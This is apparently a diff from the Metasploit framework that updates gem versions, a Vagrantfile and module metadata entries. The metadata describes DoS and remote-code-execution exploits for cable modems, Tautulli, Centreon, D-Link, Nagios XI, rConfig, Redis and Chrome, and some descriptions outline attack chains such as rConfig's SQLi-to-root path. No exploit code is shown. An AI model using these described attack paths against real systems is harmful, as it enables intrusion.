@@ -9,13 +9,14 @@ addressable, 2.7.0, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel, 6.0.4, MIT
|
||||
arel-helpers, 2.11.0, MIT
|
||||
ast, 2.4.0, MIT
|
||||
aws-eventstream, 1.0.3, "Apache 2.0"
|
||||
aws-partitions, 1.278.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.90.1, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.145.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.33.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.29.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.60.2, "Apache 2.0"
|
||||
aws-partitions, 1.288.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.92.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.151.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.34.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.30.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.61.1, "Apache 2.0"
|
||||
aws-sigv4, 1.1.1, "Apache 2.0"
|
||||
bcrypt, 3.1.12, MIT
|
||||
bcrypt_pbkdf, 1.0.1, MIT
|
||||
@@ -37,10 +38,10 @@ em-http-request, 1.1.5, MIT
|
||||
em-socksify, 0.3.2, MIT
|
||||
erubis, 2.7.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 5.1.1, MIT
|
||||
factory_bot, 5.1.2, MIT
|
||||
factory_bot_rails, 5.1.1, MIT
|
||||
faker, 2.2.1, MIT
|
||||
faraday, 0.17.0, MIT
|
||||
faraday, 1.0.0, MIT
|
||||
faye-websocket, 0.10.9, "Apache 2.0"
|
||||
filesize, 0.2.0, MIT
|
||||
fivemat, 1.3.7, MIT
|
||||
@@ -48,19 +49,21 @@ hashery, 2.1.2, "Simplified BSD"
|
||||
hrr_rb_ssh, 0.3.0.pre2, "Apache 2.0"
|
||||
http_parser.rb, 0.6.0, MIT
|
||||
i18n, 0.9.5, MIT
|
||||
jaro_winkler, 1.5.4, MIT
|
||||
jmespath, 1.4.0, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.3.0, ruby
|
||||
loofah, 2.4.0, MIT
|
||||
memory_profiler, 0.9.14, MIT
|
||||
metasm, 1.0.4, LGPL-2.1
|
||||
metasploit-concern, 2.0.5, "New BSD"
|
||||
metasploit-credential, 3.0.4, "New BSD"
|
||||
metasploit-framework, 5.0.78, "New BSD"
|
||||
metasploit-framework, 5.0.83, "New BSD"
|
||||
metasploit-model, 2.0.4, "New BSD"
|
||||
metasploit-payloads, 1.3.84, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 1.3.86, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 3.0.10, "New BSD"
|
||||
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
|
||||
method_source, 0.9.2, MIT
|
||||
metasploit_payloads-mettle, 0.5.21, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.4.0, MIT
|
||||
minitest, 5.14.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
@@ -70,19 +73,21 @@ nessus_rest, 0.1.6, MIT
|
||||
net-ssh, 5.2.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.2.1, "New BSD"
|
||||
nokogiri, 1.10.8, MIT
|
||||
octokit, 4.16.0, MIT
|
||||
nokogiri, 1.10.9, MIT
|
||||
octokit, 4.18.0, MIT
|
||||
openssl-ccm, 1.2.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.19.1, MIT
|
||||
parser, 2.7.0.5, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.0, LGPL-2.1
|
||||
pdf-reader, 2.4.0, MIT
|
||||
pg, 0.21.0, "New BSD"
|
||||
pg_array_parser, 0.0.9, unknown
|
||||
postgres_ext, 3.0.1, MIT
|
||||
pry, 0.12.2, MIT
|
||||
pry-byebug, 3.8.0, MIT
|
||||
pry, 0.13.0, MIT
|
||||
pry-byebug, 3.9.0, MIT
|
||||
public_suffix, 4.0.3, MIT
|
||||
rack, 1.6.13, MIT
|
||||
rack-protection, 1.5.5, MIT
|
||||
@@ -91,6 +96,7 @@ rails-deprecated_sanitizer, 1.0.3, MIT
|
||||
rails-dom-testing, 1.0.9, MIT
|
||||
rails-html-sanitizer, 1.3.0, MIT
|
||||
railties, 4.2.11.1, MIT
|
||||
rainbow, 3.0.0, MIT
|
||||
rake, 13.0.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 2.3.7, unknown
|
||||
@@ -108,26 +114,30 @@ rex-powershell, 0.1.87, "New BSD"
|
||||
rex-random_identifier, 0.1.4, "New BSD"
|
||||
rex-registry, 0.1.3, "New BSD"
|
||||
rex-rop_builder, 0.1.3, "New BSD"
|
||||
rex-socket, 0.1.21, "New BSD"
|
||||
rex-socket, 0.1.23, "New BSD"
|
||||
rex-sslscan, 0.1.5, "New BSD"
|
||||
rex-struct2, 0.1.2, "New BSD"
|
||||
rex-text, 0.2.24, "New BSD"
|
||||
rex-text, 0.2.25, "New BSD"
|
||||
rex-zip, 0.1.3, "New BSD"
|
||||
rexml, 3.2.4, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.9.0, MIT
|
||||
rspec-core, 3.9.1, MIT
|
||||
rspec-expectations, 3.9.0, MIT
|
||||
rspec-expectations, 3.9.1, MIT
|
||||
rspec-mocks, 3.9.1, MIT
|
||||
rspec-rails, 3.9.0, MIT
|
||||
rspec-rails, 4.0.0, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.9.2, MIT
|
||||
rubocop, 0.80.1, MIT
|
||||
ruby-macho, 2.2.0, MIT
|
||||
ruby-prof, 1.3.1, "Simplified BSD"
|
||||
ruby-progressbar, 1.10.1, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby_smb, 1.1.0, "New BSD"
|
||||
rubyntlm, 0.6.2, MIT
|
||||
rubyzip, 2.2.0, "Simplified BSD"
|
||||
rubyzip, 2.3.0, "Simplified BSD"
|
||||
sawyer, 0.8.2, MIT
|
||||
simplecov, 0.18.5, MIT
|
||||
simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.2, MIT
|
||||
sinatra, 1.4.8, MIT
|
||||
sqlite3, 1.3.13, "New BSD"
|
||||
@@ -141,6 +151,7 @@ timecop, 0.9.1, MIT
|
||||
ttfunk, 1.6.2.1, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 1.2.6, MIT
|
||||
tzinfo-data, 1.2019.3, MIT
|
||||
unicode-display_width, 1.6.1, MIT
|
||||
warden, 1.2.7, MIT
|
||||
websocket-driver, 0.7.1, "Apache 2.0"
|
||||
websocket-extensions, 0.1.4, "Apache 2.0"
|
||||
|
||||
Vendored
+1
-1
@@ -3,7 +3,7 @@
|
||||
|
||||
Vagrant.configure(2) do |config|
|
||||
config.ssh.forward_x11 = true
|
||||
config.vm.box = "ubuntu/xenial64"
|
||||
config.vm.box = "ubuntu/bionic64"
|
||||
config.vm.network :forwarded_port, guest: 4444, host: 4444
|
||||
config.vm.provider "vmware" do |v|
|
||||
v.memory = 2048
|
||||
|
||||
File diff suppressed because one or more lines are too long
+1351
-102
@@ -8788,7 +8788,7 @@
|
||||
],
|
||||
"description": "This module modifies a .docx file that will, upon opening, submit stored\n netNTLM credentials to a remote host. It can also create an empty docx file. If\n emailed the receiver needs to put the document in editing mode before the remote\n server will be contacted. Preview and read-only mode do not work. Verified to work\n with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the\n auxiliary/server/capture/smb module can be used.",
|
||||
"references": [
|
||||
"URL-http://jedicorp.com/?p=534"
|
||||
"URL-https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
@@ -8800,7 +8800,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2017-07-24 06:26:21 +0000",
|
||||
"mod_time": "2020-02-24 18:17:06 +0000",
|
||||
"path": "/modules/auxiliary/docx/word_unc_injector.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "docx/word_unc_injector",
|
||||
@@ -9441,6 +9441,59 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_dos/http/cable_haunt_websocket_dos": {
|
||||
"name": "\"Cablehaunt\" Cable Modem WebSocket DoS",
|
||||
"fullname": "auxiliary/dos/http/cable_haunt_websocket_dos",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": "2020-01-07",
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Alexander Dalsgaard Krog (Lyrebirds)",
|
||||
"Jens Hegner Stærmose (Lyrebirds)",
|
||||
"Kasper Kohsel Terndrup (Lyrebirds)",
|
||||
"Simon Vandel Sillesen (Independent)",
|
||||
"Nicholas Starke"
|
||||
],
|
||||
"description": "There exists a buffer overflow vulnerability in certain\n Cable Modem Spectrum Analyzer interfaces. This overflow\n is exploitable, but since an exploit would differ between\n every make, model, and firmware version (which also\n differs from ISP to ISP), this module simply causes a\n Denial of Service to test if the vulnerability is present.",
|
||||
"references": [
|
||||
"CVE-2019-19494",
|
||||
"EDB-47936",
|
||||
"URL-https://cablehaunt.com/",
|
||||
"URL-https://github.com/Lyrebirds/sagemcom-fast-3890-exploit"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8080,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-03-31 10:35:54 +0000",
|
||||
"path": "/modules/auxiliary/dos/http/cable_haunt_websocket_dos.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/http/cable_haunt_websocket_dos",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_dos/http/canon_wireless_printer": {
|
||||
"name": "Canon Wireless Printer Denial Of Service",
|
||||
"fullname": "auxiliary/dos/http/canon_wireless_printer",
|
||||
@@ -10247,6 +10300,53 @@
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_dos/http/tautulli_shutdown_exec": {
|
||||
"name": "Tautulli v2.1.9 - Shutdown Denial of Service",
|
||||
"fullname": "auxiliary/dos/http/tautulli_shutdown_exec",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 300,
|
||||
"disclosure_date": null,
|
||||
"type": "auxiliary",
|
||||
"author": [
|
||||
"Ismail Tasdelen"
|
||||
],
|
||||
"description": "Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the /shutdown URL.",
|
||||
"references": [
|
||||
"CVE-2019-19833",
|
||||
"EDB-47785"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 8181,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2020-01-17 13:57:32 +0000",
|
||||
"path": "/modules/auxiliary/dos/http/tautulli_shutdown_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "dos/http/tautulli_shutdown_exec",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": false
|
||||
},
|
||||
"auxiliary_dos/http/ua_parser_js_redos": {
|
||||
"name": "ua-parser-js npm module ReDoS",
|
||||
"fullname": "auxiliary/dos/http/ua_parser_js_redos",
|
||||
@@ -15066,7 +15166,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-12-12 09:57:10 +0000",
|
||||
"mod_time": "2020-03-31 11:02:14 +0000",
|
||||
"path": "/modules/auxiliary/gather/chrome_debugger.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "gather/chrome_debugger",
|
||||
@@ -28133,7 +28233,7 @@
|
||||
"https"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2018-02-23 13:16:41 +0000",
|
||||
"mod_time": "2020-02-25 10:14:02 +0000",
|
||||
"path": "/modules/auxiliary/scanner/http/owa_login.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/http/owa_login",
|
||||
@@ -36694,7 +36794,7 @@
|
||||
"zerosum0x0",
|
||||
"Tom Sellers"
|
||||
],
|
||||
"description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability\n by binding the MS_T120 channel outside of its normal slot and sending\n non-DoS packets which respond differently on patched and vulnerable hosts.\n It can optionally trigger the DoS vulnerability.",
|
||||
"description": "This module checks a range of hosts for the CVE-2019-0708 vulnerability\n by binding the MS_T120 channel outside of its normal slot and sending\n non-DoS packets which respond differently on patched and vulnerable hosts.\n It can optionally trigger the DoS vulnerability.",
|
||||
"references": [
|
||||
"CVE-2019-0708",
|
||||
"URL-https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708",
|
||||
@@ -36710,7 +36810,7 @@
|
||||
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-11-11 17:33:10 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/rdp/cve_2019_0708_bluekeep",
|
||||
@@ -39974,7 +40074,7 @@
|
||||
"microsoft-ds"
|
||||
],
|
||||
"targets": null,
|
||||
"mod_time": "2019-03-05 03:38:51 +0000",
|
||||
"mod_time": "2020-02-13 11:56:12 +0000",
|
||||
"path": "/modules/auxiliary/scanner/smb/smb_enumusers.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "scanner/smb/smb_enumusers",
|
||||
@@ -51371,6 +51471,67 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/centreon_pollers_auth_rce": {
|
||||
"name": "Centreon Poller Authenticated Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/centreon_pollers_auth_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2020-01-27",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Omri Baso",
|
||||
"Fabien Aunay",
|
||||
"mekhalleh (RAMELLA Sébastien)"
|
||||
],
|
||||
"description": "An authenticated user with sufficient administrative rights to manage pollers can use this functionality to\n execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules\n (to perform certain actions), by the scheduler for data processing, etc.\n\n This module uses this functionality to obtain a remote shell on the target.",
|
||||
"references": [
|
||||
"EDB-47977"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd, x64",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Reverse shell (In-Memory)",
|
||||
"Meterpreter (Dropper)"
|
||||
],
|
||||
"mod_time": "2020-03-17 12:15:06 +0000",
|
||||
"path": "/modules/exploits/linux/http/centreon_pollers_auth_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/centreon_pollers_auth_rce",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/centreon_sqli_exec": {
|
||||
"name": "Centreon SQL and Command Injection",
|
||||
"fullname": "exploit/linux/http/centreon_sqli_exec",
|
||||
@@ -52758,6 +52919,57 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/dlink_dwl_2600_command_injection": {
|
||||
"name": "DLINK DWL-2600 Authenticated Remote Command Injection",
|
||||
"fullname": "exploit/linux/http/dlink_dwl_2600_command_injection",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-05-15",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"RAKI BEN HAMOUDA",
|
||||
"Nick Starke"
|
||||
],
|
||||
"description": "Some DLINK Access Points are vulnerable to an authenticated OS command injection.\n Default credentials for the web interface are admin/admin.",
|
||||
"references": [
|
||||
"CVE-2019-20499",
|
||||
"EDB-46841"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"CMD",
|
||||
"Linux mips Payload"
|
||||
],
|
||||
"mod_time": "2020-03-27 12:37:40 +0000",
|
||||
"path": "/modules/exploits/linux/http/dlink_dwl_2600_command_injection.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/dlink_dwl_2600_command_injection",
|
||||
"check": false,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/dlink_hedwig_cgi_bof": {
|
||||
"name": "D-Link hedwig.cgi Buffer Overflow in Cookie Header",
|
||||
"fullname": "exploit/linux/http/dlink_hedwig_cgi_bof",
|
||||
@@ -55422,6 +55634,58 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/nagios_xi_authenticated_rce": {
|
||||
"name": "Nagios XI Authenticated Remote Command Execution",
|
||||
"fullname": "exploit/linux/http/nagios_xi_authenticated_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2019-07-29",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Jak Gibb",
|
||||
"Erik Wynter"
|
||||
],
|
||||
"description": "This module exploits a vulnerability in Nagios XI before 5.6.6 in\n order to execute arbitrary commands as root.\n\n The module uploads a malicious plugin to the Nagios XI server and then\n executes this plugin by issuing an HTTP GET request to download a\n system profile from the server. For all supported targets except Linux\n (cmd), the module uses a command stager to write the exploit to the\n target via the malicious plugin. This may not work if Nagios XI is\n running in a restricted Unix environment, so in that case the target\n must be set to Linux (cmd). The module then writes the payload to the\n malicious plugin while avoiding commands that may not be supported.\n\n Valid credentials for a user with administrative privileges are\n required. This module was successfully tested on Nagios XI 5.6.5\n running on CentOS 7. The module may behave differently against older\n versions of Nagios XI. See the documentation for more information.",
|
||||
"references": [
|
||||
"CVE-2019-15949",
|
||||
"URL-https://github.com/jakgibb/nagiosxi-root-rce-exploit"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Linux (x86)",
|
||||
"Linux (x64)",
|
||||
"Linux (cmd)"
|
||||
],
|
||||
"mod_time": "2020-03-09 11:56:15 +0000",
|
||||
"path": "/modules/exploits/linux/http/nagios_xi_authenticated_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/nagios_xi_authenticated_rce",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": true,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/nagios_xi_chained_rce": {
|
||||
"name": "Nagios XI Chained Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/nagios_xi_chained_rce",
|
||||
@@ -57071,6 +57335,60 @@
|
||||
},
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_linux/http/rconfig_ajaxarchivefiles_rce": {
|
||||
"name": "Rconfig 3.x Chained Remote Code Execution",
|
||||
"fullname": "exploit/linux/http/rconfig_ajaxarchivefiles_rce",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 400,
|
||||
"disclosure_date": "2020-03-11",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Jean-Pascal Thomas",
|
||||
"Orange Cyberdefense"
|
||||
],
|
||||
"description": "This module exploits multiple vulnerabilities in rConfig version 3.9\n in order to execute arbitrary commands.\n This module takes advantage of a command injection vulnerability in the\n `path` parameter of the ajax archive file functionality within the rConfig web\n interface in order to execute the payload.\n Valid credentials for a user with administrative privileges are required.\n However, this module can bypass authentication via SQLI.\n This module has been successfully tested on Rconfig 3.9.3 and 3.9.4.\n The steps are:\n 1. SQLi on /commands.inc.php allows us to add an administrative user.\n 2. An authenticated session is established with the newly added user\n 3. Command Injection on /lib/ajaxHandlers/ajaxArchiveFiles.php allows us to\n execute the payload.\n 4. Remove the added admin user.\n Tips : once you get a shell, look at the CVE-2019-19585.\n You will probably get root because rConfig install script add Apache user to\n sudoers with nopasswd ;-)",
|
||||
"references": [
|
||||
"CVE-2019-19509",
|
||||
"CVE-2020-10220",
|
||||
"EDB-47982",
|
||||
"EDB-48208",
|
||||
"URL-https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2019-19509.py",
|
||||
"URL-https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py"
|
||||
],
|
||||
"platform": "Linux,Unix",
|
||||
"arch": "cmd",
|
||||
"rport": 443,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Auto"
|
||||
],
|
||||
"mod_time": "2020-03-13 10:42:40 +0000",
|
||||
"path": "/modules/exploits/linux/http/rconfig_ajaxarchivefiles_rce.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/http/rconfig_ajaxarchivefiles_rce",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/http/realtek_miniigd_upnp_exec_noauth": {
|
||||
"name": "Realtek SDK Miniigd UPnP SOAP Command Execution",
|
||||
"fullname": "exploit/linux/http/realtek_miniigd_upnp_exec_noauth",
|
||||
@@ -60203,7 +60521,7 @@
|
||||
"Marco Ivaldi",
|
||||
"Guillaume André"
|
||||
],
|
||||
"description": "This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n Improper validation of recipient address in deliver_message()\n function in /src/deliver.c may lead to command execution with root privileges\n (CVE-2019-10149).",
|
||||
"description": "This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n Improper validation of recipient address in deliver_message()\n function in /src/deliver.c may lead to command execution with root privileges\n (CVE-2019-10149).",
|
||||
"references": [
|
||||
"CVE-2019-10149",
|
||||
"EDB-46996",
|
||||
@@ -60221,7 +60539,7 @@
|
||||
"targets": [
|
||||
"Exim 4.87 - 4.91"
|
||||
],
|
||||
"mod_time": "2020-02-05 19:13:19 +0000",
|
||||
"mod_time": "2020-03-05 14:48:37 +0000",
|
||||
"path": "/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/local/exim4_deliver_message_priv_esc",
|
||||
@@ -63440,11 +63758,11 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_linux/redis/redis_unauth_exec": {
|
||||
"name": "Redis Unauthenticated Code Execution",
|
||||
"fullname": "exploit/linux/redis/redis_unauth_exec",
|
||||
"exploit_linux/redis/redis_replication_cmd_exec": {
|
||||
"name": "Redis Replication Code Execution",
|
||||
"fullname": "exploit/linux/redis/redis_replication_cmd_exec",
|
||||
"aliases": [
|
||||
|
||||
"exploit/linux/redis/redis_unauth_exec"
|
||||
],
|
||||
"rank": 400,
|
||||
"disclosure_date": "2018-11-13",
|
||||
@@ -63452,7 +63770,7 @@
|
||||
"author": [
|
||||
"Green-m <greenm.xxoo@gmail.com>"
|
||||
],
|
||||
"description": "This module can be used to leverage the extension functionality added by Redis 4.x and 5.x\n to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis\n which called replication between master and slave.",
|
||||
"description": "This module can be used to leverage the extension functionality added since Redis 4.0.0\n to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis\n which called replication between master and slave.",
|
||||
"references": [
|
||||
"URL-https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf",
|
||||
"URL-https://github.com/RedisLabs/RedisModulesSDK"
|
||||
@@ -63469,11 +63787,11 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2019-12-09 20:09:52 +0000",
|
||||
"path": "/modules/exploits/linux/redis/redis_unauth_exec.rb",
|
||||
"mod_time": "2020-03-28 11:43:47 +0000",
|
||||
"path": "/modules/exploits/linux/redis/redis_replication_cmd_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "linux/redis/redis_unauth_exec",
|
||||
"check": false,
|
||||
"ref_name": "linux/redis/redis_replication_cmd_exec",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
@@ -65218,6 +65536,141 @@
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/chrome_array_map": {
|
||||
"name": "Google Chrome 72 and 73 Array.map exploit",
|
||||
"fullname": "exploit/multi/browser/chrome_array_map",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2019-03-07",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"dmxcsnsbh",
|
||||
"István Kurucsai",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits an issue in Chrome 73.0.3683.86 (64 bit).\n The exploit corrupts the length of a float in order to modify the backing store\n of a typed array. The typed array can then be used to read and write arbitrary\n memory. The exploit then uses WebAssembly in order to allocate a region of RWX\n memory, which is then replaced with the payload.\n The payload is executed within the sandboxed renderer process, so the browser\n must be run with the --no-sandbox option for the payload to work correctly.",
|
||||
"references": [
|
||||
"CVE-2019-5825",
|
||||
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=941743",
|
||||
"URL-https://github.com/exodusintel/Chromium-941743",
|
||||
"URL-https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/",
|
||||
"URL-https://lordofpwn.kr/cve-2019-5825-v8-exploit/"
|
||||
],
|
||||
"platform": "OSX,Windows",
|
||||
"arch": "x64",
|
||||
"rport": null,
|
||||
"autofilter_ports": [
|
||||
|
||||
],
|
||||
"autofilter_services": [
|
||||
|
||||
],
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2020-02-15 10:37:15 +0000",
|
||||
"path": "/modules/exploits/multi/browser/chrome_array_map.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/browser/chrome_array_map",
|
||||
"check": false,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
},
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/browser/chrome_jscreate_sideeffect": {
|
||||
"name": "Google Chrome 80 JSCreate side-effect type confusion exploit",
|
||||
"fullname": "exploit/multi/browser/chrome_jscreate_sideeffect",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 0,
|
||||
"disclosure_date": "2020-02-19",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"Clément Lecigne",
|
||||
"István Kurucsai",
|
||||
"Vignesh S Rao",
|
||||
"timwr"
|
||||
],
|
||||
"description": "This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit\n corrupts the length of a float array (float_rel), which can then be used for out\n of bounds read and write on adjacent memory.\n The relative read and write is then used to modify a UInt64Array (uint64_aarw)\n which is used for read and writing from absolute memory.\n The exploit then uses WebAssembly in order to allocate a region of RWX memory,\n which is then replaced with the payload shellcode.\n The payload is executed within the sandboxed renderer process, so the browser\n must be run with the --no-sandbox option for the payload to work correctly.",
|
||||
"references": [
|
||||
"CVE-2020-6418",
|
||||
"URL-https://bugs.chromium.org/p/chromium/issues/detail?id=1053604",
|
||||
"URL-https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping",
|
||||
